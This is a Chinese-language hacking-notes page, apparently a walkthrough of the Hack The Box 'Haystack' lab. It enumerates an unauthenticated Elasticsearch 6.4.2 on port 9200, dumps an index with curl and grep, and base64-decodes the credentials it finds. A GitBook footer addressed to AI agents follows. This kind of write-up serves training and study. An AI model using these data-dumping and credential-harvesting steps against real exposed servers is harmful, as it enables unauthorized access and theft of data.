> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/elasticsearch-9200.md).

# Elasticsearch - 9200

{% hint style="info" %}
Elasticsearch 是一个实时搜索和分析引擎，用于快速索引和搜索海量数据。它集成到 ELK 技术栈中，以提供高级的数据可视化和分析能力。
{% endhint %}

### Elasticsearch - 信息泄露

#### 9200 端口上运行着 Elasticsearch 6.4.2 版本。

<figure><img src="/files/2d40d4bcb8dbb504bee9502be0ff9ff8d93ddebd" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/bba7c963cc6b8de1fd14abd896f92f9d49728807" alt=""><figcaption></figcaption></figure>

访问 `/_cat/indices?` URL 会返回带有各自 UUID 的索引列表。要提取某个索引的内容，请使用以下 URL：

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="/files/4087991303edcab2cb145dfe8242926f7ccf2f9f" alt=""><figcaption></figcaption></figure>

**使用 Curl 进行数据过滤**

使用 `quotes` 索引并对 challenge 关键词进行过滤后，可以找到相关信息：

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="/files/f1a1fa6862c97defbcea4a6979eb0119f3ce1491" alt=""><figcaption></figcaption></figure>

**解码 Base64 编码的字符串**

恢复了两个 base64 编码的字符串。解码后可得出凭据：

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="/files/9244aa42215fd26a2b6abfa3c6ddfc3cc78cb9e6" alt=""><figcaption></figcaption></figure>

**用户：** `security`/ **密码：** `spanish.is.key`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/elasticsearch-9200.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
